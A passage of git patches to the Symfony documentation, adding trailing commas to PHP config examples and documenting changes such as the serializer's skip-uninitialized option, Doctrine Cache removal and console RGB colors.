             </include>
         </coverage>
-        
+
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
@@ -167,7 +167,7 @@ Response::
             ->will($this->returnValue([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
-                '_controller' => [new LeapYearController(), 'index']
+                '_controller' => [new LeapYearController(), 'index'],
             ]))
         ;
         $matcher
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 88ca6bebbd2..c609ad1291b 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -161,7 +161,7 @@ The following configuration code shows how you can configure two entity managers
                                 'dir' => '%kernel.project_dir%/src/Entity/Main',
                                 'prefix' => 'App\Entity\Main',
                                 'alias' => 'Main',
-                            ]
+                            ],
                         ],
                     ],
                     'customer' => [
@@ -173,7 +173,7 @@ The following configuration code shows how you can configure two entity managers
                                 'dir' => '%kernel.project_dir%/src/Entity/Customer',
                                 'prefix' => 'App\Entity\Customer',
                                 'alias' => 'Customer',
-                            ]
+                            ],
                         ],
                     ],
                 ],
diff --git a/mailer.rst b/mailer.rst
index eddc04e8ef7..57c4b5f30ce 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $containerConfigurator->extension('framework', [
                 'mailer' => [
                     'dsn' => '%env(MAILER_DSN)%',
-                ]
+                ],
             ]);
         };
 
diff --git a/mercure.rst b/mercure.rst
index 00c46199d48..9ba528c532b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -400,7 +400,7 @@ Add your JWT secret to the configuration as follow:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'secret' => '!ChangeMe!',
-                    ]
+                    ],
                 ],
             ],
         ]);
@@ -498,7 +498,7 @@ Then, reference this service in the bundle configuration:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'provider' => MyJwtProvider::class,
-                    ]
+                    ],
                 ],
             ],
         ]);
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b8cd89bfe71..14b2ebf091f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3126,9 +3126,9 @@ recipients set in the code.
                         'recipients' => [
                             'admin@symfony.com',
                             'lead@symfony.com',
-                        ]
-                    ]
-                ]
+                        ],
+                    ],
+                ],
             ]);
         };
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..060cc0e8b40 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -95,7 +95,7 @@ values for the year, month and day fields::
     $builder->add('birthdate', BirthdayType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/date_format.rst.inc
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index c98b51eac15..5c5a388bbaf 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -164,7 +164,7 @@ values for the year, month and day fields::
     $builder->add('dueDate', DateType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. _reference-forms-type-date-format:
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..fefa7f054d9 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -108,7 +108,7 @@ add a "blank" entry to the top of each select box::
 Alternatively, you can specify a string to be displayed for the "blank" value::
 
     $builder->add('remindEvery', DateIntervalType::class, [
-        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days']
+        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'],
     ]);
 
 ``hours``
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ed31a0cae8d..4d36293894d 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -131,7 +131,7 @@ values for the year, month, day, hour, minute and second fields::
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 format
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..02817682bcb 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -45,7 +45,7 @@ Basic Usage
         'attr' => [
             'min' => 5,
             'max' => 50
-        ]
+        ],
     ]);
 
 Inherited Options
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ecc657e6b1..ee457813f88 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -111,7 +111,7 @@ values for the hour, minute and second fields::
     $builder->add('startTime', 'time', [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/hours.rst.inc
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 754139c9cd6..b0fcd20dccf 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -79,7 +79,7 @@ values for the year and week fields::
         'placeholder' => [
             'year' => 'Year',
             'week' => 'Week',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/html5.rst.inc
diff --git a/security.rst b/security.rst
index abc65227c42..4ec0df76f69 100644
--- a/security.rst
+++ b/security.rst
@@ -214,7 +214,7 @@ command will pre-configure this for you:
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
-                ]
+                ],
             ],
 
             // ...
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 0725ff3815d..9da33f287f6 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -352,7 +352,7 @@ a traditional HTML form that submits to ``/login``:
                     'guard' => [
                         'authenticators' => [
                             LoginFormAuthenticator::class,
-                        ]
+                        ],
                     ],
                     'logout' => [
                         'path' => 'app_logout',
@@ -507,7 +507,7 @@ whenever the user browses a page::
         public static function getSubscribedEvents(): array
         {
             return [
-                KernelEvents::REQUEST => ['onKernelRequest']
+                KernelEvents::REQUEST => ['onKernelRequest'],
             ];
         }
     }
diff --git a/security/ldap.rst b/security/ldap.rst
index a31a381262e..647f0ebd073 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -413,7 +413,7 @@ Configuration example for form login
                         // ...
                     ],
                 ],
-            ]
+            ],
         ]);
 
 Configuration example for HTTP Basic
@@ -533,7 +533,7 @@ Configuration example for form login and query_string
                         'search_password' => 'the-raw-password',
                     ],
                 ],
-            ]
+            ],
         ]);
 
 .. deprecated:: 4.4
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a99f0286852..4269e0f0a3c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -490,7 +490,7 @@ use this, update the compiler::
                 foreach ($tags as $attributes) {
                     $definition->addMethodCall('addTransport', [
                         new Reference($id),
-                        $attributes['alias']
+                        $attributes['alias'],
                     ]);
                 }
             }
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index ff32b875a31..cbde1d3eda3 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -72,7 +72,7 @@ encoders configuration to generate password hashes as fast as possible:
                     'cost' => 4, // Lowest possible value for bcrypt
                     'time_cost' => 3, // Lowest possible value for argon
                     'memory_cost' => 10, // Lowest possible value for argon
-                ]
+                ],
             ],
         ]);
 

From 034f0f6a14a854b8df3d1d5ee46e0caa42ef9472 Mon Sep 17 00:00:00 2001
From: Georgi Georgiev <vuryss@gmail.com>
Date: Thu, 16 Sep 2021 10:28:04 +0300
Subject: [PATCH 1133/5766] [Serializer] Documenting the new
 SKIP_UNINITIALIZED_VALUES option

---
 components/serializer.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..ac29ee47deb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1174,6 +1174,27 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
+Skipping uninitialized properties
+---------------------------------
+
+PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
+This is different from the default ``null`` of untyped properties.
+When you try to access it before giving it an explicit value - you get an error.
+
+To avoid serializer throwing an error when serializing or normalizing an object with
+uninitialized properties - then you can set ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` to ``true``.
+
+.. note::
+
+    Error is thrown only if you inject a ``ClassMetadataFactory`` into the normalizer.
+    Otherwise the properties are checked with reflection and uninitialized ones are skipped.
+    This option is useful when, for example, you want to serialize subset of properties by serialization groups,
+    which requires the ``ClassMetadataFactory``
+
+.. versionadded:: 5.4
+
+    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was introduced in Symfony 5.4.
+
 .. _component-serializer-handling-circular-references:
 
 Handling Circular References

From a3b5a134baf3e9ea19e51f1480ab56c18028ed9f Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Fri, 10 Sep 2021 12:12:03 +0200
Subject: [PATCH 1134/5766] Add missing space in custom-transport.rst doc

---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e0fbcb3ca23..bc49b1d6d3d 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -65,7 +65,7 @@ Here is a simplified example of a database transport::
                     WHERE (delivered_at IS NULL OR delivered_at < :redeliver_timeout)
                     AND handled = FALSE'
                 )
-                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5minutes'))
+                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5 minutes'))
                 ->getOneOrNullResult();
 
             if (null === $row) {

From 82ef3e8879b78748f66665c3173706340a93674a Mon Sep 17 00:00:00 2001
From: Fernando Aguirre <ing.aguirrel@gmail.com>
Date: Tue, 7 Sep 2021 14:26:49 -0700
Subject: [PATCH 1135/5766] [Messenger] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c2ece12daf9..c53540fd508 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -798,7 +798,7 @@ Forcing Retrying
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
-the message will always be retried.
+the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
 .. _messenger-failure-transport:
 

From 28cbc5ddaab0c9dc97af95dae6ad1df1ab1c0cec Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Tue, 7 Sep 2021 14:06:44 +0200
Subject: [PATCH 1136/5766] Remove wrong parameter in MockHub

There is no parameter in `MockHub` to specify the hub name (`default`)

`MockHub` constructor : https://github.com/symfony/mercure/blob/main/src/MockHub.php#L30-L35

```php
    /**
     * @param (callable(Update): string) $publisher
     */
    public function __construct(
        string $url,
        TokenProviderInterface $jwtProvider,
        callable $publisher,
        TokenFactoryInterface $jwtFactory = null,
        string $publicUrl = null
    )
```
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 9ba528c532b..8a70af165ce 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -576,7 +576,7 @@ You can instead make use of the `MockHub`::
     {
         public function testPublishing()
         {
-            $hub = new MockHub('default', 'https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+            $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
                 // $this->assertTrue($update->isPrivate());
 
                 return 'id';

From a4046bc9862f136bd136103cc1e2580af2139acf Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 9 Sep 2021 18:04:36 +0200
Subject: [PATCH 1137/5766] Document the removal of Doctrine Cache

---
 cache.rst                                     |  2 +-
 components/cache.rst                          |  7 ++--
 .../cache/adapters/doctrine_adapter.rst       | 42 -------------------
 3 files changed, 4 insertions(+), 47 deletions(-)
 delete mode 100644 components/cache/adapters/doctrine_adapter.rst

diff --git a/cache.rst b/cache.rst
index 0aebff384bc..0538e45f5cd 100644
--- a/cache.rst
+++ b/cache.rst
@@ -27,7 +27,7 @@ The following example shows a typical usage of the cache::
     // ... and to remove the cache key
     $pool->delete('my_cache_key');
 
-Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
+Symfony supports Cache Contracts and PSR-6/16 interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
 .. deprecated:: 5.4
diff --git a/components/cache.rst b/components/cache.rst
index 29c1f0fd42b..1dae4a3f320 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -16,9 +16,8 @@ The Cache Component
 
 .. tip::
 
-    The component also contains adapters to convert between PSR-6, PSR-16 and
-    Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
-    :doc:`/components/cache/adapters/doctrine_adapter`.
+    The component also contains adapters to convert between PSR-6 and PSR-16.
+    See :doc:`/components/cache/psr6_psr16_adapters`.
 
     .. deprecated:: 5.4
 
@@ -164,7 +163,7 @@ concepts:
 **Adapter**
     It implements the actual caching mechanism to store the information in the
     filesystem, in a database, etc. The component provides several ready to use
-    adapters for common caching backends (Redis, APCu, Doctrine, PDO, etc.)
+    adapters for common caching backends (Redis, APCu, PDO, etc.)
 
 Basic Usage (PSR-6)
 -------------------
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
deleted file mode 100644
index 81826446f81..00000000000
--- a/components/cache/adapters/doctrine_adapter.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-.. index::
-    single: Cache Pool
-    single: Doctrine Cache
-
-.. _doctrine-adapter:
-
-Doctrine Cache Adapter
-======================
-
-.. deprecated:: 5.4
-
-    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
-This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
-you to use these providers in your application as if they were Symfony Cache adapters.
-
-This adapter expects a ``\Doctrine\Common\Cache\CacheProvider`` instance as its first
-parameter, and optionally a namespace and default cache lifetime as its second and
-third parameters::
-
-    use Doctrine\Common\Cache\CacheProvider;
-    use Doctrine\Common\Cache\SQLite3Cache;
-    use Symfony\Component\Cache\Adapter\DoctrineAdapter;
-
-    $provider = new SQLite3Cache(new \SQLite3(__DIR__.'/cache/data.sqlite'), 'youTableName');
-
-    $cache = new DoctrineAdapter(
-
-        // a cache provider instance
-        CacheProvider $provider,
-
-        // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0
-    );
-
-.. _`Doctrine Cache`: https://github.com/doctrine/cache

From 1d6510aad2f32c8e11aad497209aea31bd5b0f31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 11:25:19 +0200
Subject: [PATCH 1138/5766] Remove unneeded deprecation/versionadded directives

---
 cache.rst               | 5 -----
 components/cache.rst    | 5 -----
 setup/upgrade_major.rst | 4 ----
 3 files changed, 14 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0538e45f5cd..b2d48869f7a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -30,11 +30,6 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts and PSR-6/16 interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
-.. deprecated:: 5.4
-
-    Support for Doctrine Cache was deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
diff --git a/components/cache.rst b/components/cache.rst
index 1dae4a3f320..270081d2e3c 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -19,11 +19,6 @@ The Cache Component
     The component also contains adapters to convert between PSR-6 and PSR-16.
     See :doc:`/components/cache/psr6_psr16_adapters`.
 
-    .. deprecated:: 5.4
-
-        Support for Doctrine Cache was deprecated in Symfony 5.4
-        and it will be removed in Symfony 6.0.
-
 Installation
 ------------
 
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index b52b0ad61de..1b1dd79648a 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -198,10 +198,6 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-.. versionadded:: 5.4
-
-    The return-type checking and fixing features were introduced in Symfony 5.4.
-
 Symfony 6 will come with native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing

From da0bdb497700b5e115336b3c5c6090b269d7a96c Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 09:07:41 -0300
Subject: [PATCH 1139/5766] Update pull_requests.rst

Adding a link to the SymfonyCasts video tutorial on contributing code.
---
 contributing/code/pull_requests.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index b2dc73ac06d..1c232b2220e 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -4,6 +4,9 @@ Proposing a Change
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
+If you prefer video tutorials instead of a wall of text, then please watch
+this comprehensive and free `Contributing Back To Symfony`_ tutorial by `SymfonyCasts.com`_. 
+
 Step 1: Check existing Issues and Pull Requests
 -----------------------------------------------
 
@@ -529,3 +532,5 @@ before merging.
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
+.. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
+.. _`SymfonyCasts.com`: https://symfonycasts.com

From 9016310426ca8d7724d53e240dbae4934c909a4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:30:07 +0200
Subject: [PATCH 1140/5766] Minor tweak

---
 contributing/code/pull_requests.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1c232b2220e..313565919b6 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -1,12 +1,15 @@
 Proposing a Change
 ==================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `Contributing Back To Symfony`_
+    screencast series.
+
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
-If you prefer video tutorials instead of a wall of text, then please watch
-this comprehensive and free `Contributing Back To Symfony`_ tutorial by `SymfonyCasts.com`_. 
-
 Step 1: Check existing Issues and Pull Requests
 -----------------------------------------------
 
@@ -533,4 +536,3 @@ before merging.
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
 .. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
-.. _`SymfonyCasts.com`: https://symfonycasts.com

From 222875bd3883cd13d26f4f24d7fe75724aa27506 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 10:28:17 -0300
Subject: [PATCH 1141/5766] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 9 +--------
 1 file changed, 1 insertion(+), 8 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 313565919b6..d49b8179b88 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -107,12 +107,6 @@ Check that the current Tests Pass
 Now that Symfony is installed, check that all unit tests pass for your
 environment as explained in the dedicated :doc:`document <tests>`.
 
-.. tip::
-
-    If tests are failing, check on `Travis-CI`_ if the same test is
-    failing there as well. In that case you do not need to be concerned
-    about the test failing locally.
-
 .. _step-2-work-on-your-patch:
 
 Step 3: Work on your Pull Request
@@ -252,7 +246,7 @@ in mind the following:
     as defined in `PSR-1`_ and `PSR-2`_.
 
     A status is posted below the pull request description with a summary
-    of any problems it detects or any `Travis-CI`_ build failures.
+    of any problems it detects or any GitHub Actions build failures.
 
 .. _prepare-your-patch-for-submission:
 
@@ -533,6 +527,5 @@ before merging.
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
-.. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
 .. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing

From c307041d67a6743f3a6d42c727cfe3af2cab54ea Mon Sep 17 00:00:00 2001
From: Alex Theobold <44616505+theoboldalex@users.noreply.github.com>
Date: Sat, 11 Sep 2021 08:12:52 +0100
Subject: [PATCH 1142/5766] typo and grammar fix

One typo fix and re-ordered wording of a sentence for correct English grammar.
---
 create_framework/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 3c84dd25e57..14f4b00023b 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -11,7 +11,7 @@ top of the Symfony components is better than creating a framework from scratch.
 
     We won't talk about the traditional benefits of using a framework when
     working on big applications with more than a few developers; the Internet
-    has already plenty of good resources on that topic.
+    already has plenty of good resources on that topic.
 
 Even if the "application" we wrote in the previous chapter was simple enough,
 it suffers from a few problems::
@@ -265,7 +265,7 @@ So, the ``getClientIp()`` method works securely in all circumstances. You can
 use it in all your projects, whatever the configuration is, it will behave
 correctly and safely. That's one of the goals of using a framework. If you were
 to write a framework from scratch, you would have to think about all these
-cases by yourself. Why not using a technology that already works?
+cases by yourself. Why not use a technology that already works?
 
 .. note::
 

From fc4f38663e9ac8e213028183d254f80ddc3f5002 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 07:44:09 -0300
Subject: [PATCH 1143/5766] Update mailer.rst

Add Sendgrid to the list of transports that support tags and metadata.
---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index 9465edd6a62..6357da2df9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1331,6 +1331,7 @@ The following transports currently support tags and metadata:
 * MailChimp
 * Mailgun
 * Postmark
+* Sendgrid
 * Sendinblue
 
 The following transports only support tags:

From 1503ce4d396cd04118e167cec3fcd308bf7df601 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:41:46 +0200
Subject: [PATCH 1144/5766] Add the missing versionadded directive

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 6357da2df9c..65370474fb9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1334,6 +1334,10 @@ The following transports currently support tags and metadata:
 * Sendgrid
 * Sendinblue
 
+.. versionadded:: 5.4
+
+    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
+
 The following transports only support tags:
 
 * OhMySMTP

From 1a81cdd6725577b3fd77ed6836488509904f65f2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:43:18 +0200
Subject: [PATCH 1145/5766] Remove an unneeded versionadded directive

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 701e6e17b0e..de07924528e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1256,10 +1256,6 @@ The following transports currently support tags and metadata:
 * Sendgrid
 * Sendinblue
 
-.. versionadded:: 5.4
-
-    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
-
 The following transports only support tags:
 
 * OhMySMTP

From cad2c973be4bed20357b8786bba60d4009dfa6ef Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Fri, 27 Aug 2021 15:16:55 +0200
Subject: [PATCH 1146/5766] [FrameworkBundle] fix docs for controller as
 services

---
 controller/service.rst | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index ff1f835d25a..35de22c6199 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -6,11 +6,26 @@ How to Define Controllers as Services
 
 In Symfony, a controller does *not* need to be registered as a service. But if you're
 using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-your controllers *are* already registered as services. This means you can use dependency
+and that your controllers extend the `AbstractController`_ class,
+they *are* already registered as services. This means you can use dependency
 injection like any other normal service.
 
-Referencing your Service from Routing
--------------------------------------
+If your controllers don't extend the `AbstractController`_ class, you must explicitly mark your controller
+services as ``public``.
+Alternatively, you can also tag controller services with the ``controller.service_arguments``.
+This will make the tagged services ``public`` and will allow you to inject services in method parameters:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # controllers are imported separately to make sure services can be injected
+        # as action arguments even if you don't extend any base controller class
+        App\Controller\:
+           resource: '../src/Controller/'
+           tags: ['controller.service_arguments']
 
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
@@ -222,5 +237,4 @@ If you want to know what type-hints to use for each service, see the
 
 .. _`Controller class source code`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
-.. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`ADR pattern`: https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder

From 74d129d26be1a113d30298d8bfeb48d03305598e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Sep 2021 16:07:08 +0200
Subject: [PATCH 1147/5766] Tweak

---
 controller/service.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 35de22c6199..017b99c61c1 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -4,16 +4,17 @@
 How to Define Controllers as Services
 =====================================
 
-In Symfony, a controller does *not* need to be registered as a service. But if you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-and that your controllers extend the `AbstractController`_ class,
-they *are* already registered as services. This means you can use dependency
-injection like any other normal service.
-
-If your controllers don't extend the `AbstractController`_ class, you must explicitly mark your controller
-services as ``public``.
-Alternatively, you can also tag controller services with the ``controller.service_arguments``.
-This will make the tagged services ``public`` and will allow you to inject services in method parameters:
+In Symfony, a controller does *not* need to be registered as a service. But if
+you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+and your controllers extend the `AbstractController`_ class, they *are* automatically
+registered as services. This means you can use dependency injection like any
+other normal service.
+
+If your controllers don't extend the `AbstractController`_ class, you must
+explicitly mark your controller services as ``public``. Alternatively, you can
+apply the ``controller.service_arguments`` tag to your controller services. This
+will make the tagged services ``public`` and will allow you to inject services
+in method parameters:
 
 .. configuration-block::
 

From 9dd60cf9f70fe11e324740c22586252c9bf2af58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Sep 2021 16:11:43 +0200
Subject: [PATCH 1148/5766] [Console] Add support of RGB functional notation to
 output colors

---
 console/coloring.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index 7e77a090b25..15dc7eed0a5 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,6 +58,10 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     Support for bright colors was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    Support for RGB functional notation was introduced in Symfony 5.4.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -77,6 +81,9 @@ You can also set these colors and options directly inside the tag name::
     // red text
     $output->writeln('<fg=#c0392b>foo</>');
 
+    // chartreuse text
+    $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
+
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From e958c594e1e71e482c5aa0a93c977b8d900591f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 15:07:04 +0200
Subject: [PATCH 1149/5766] Minor tweak

---
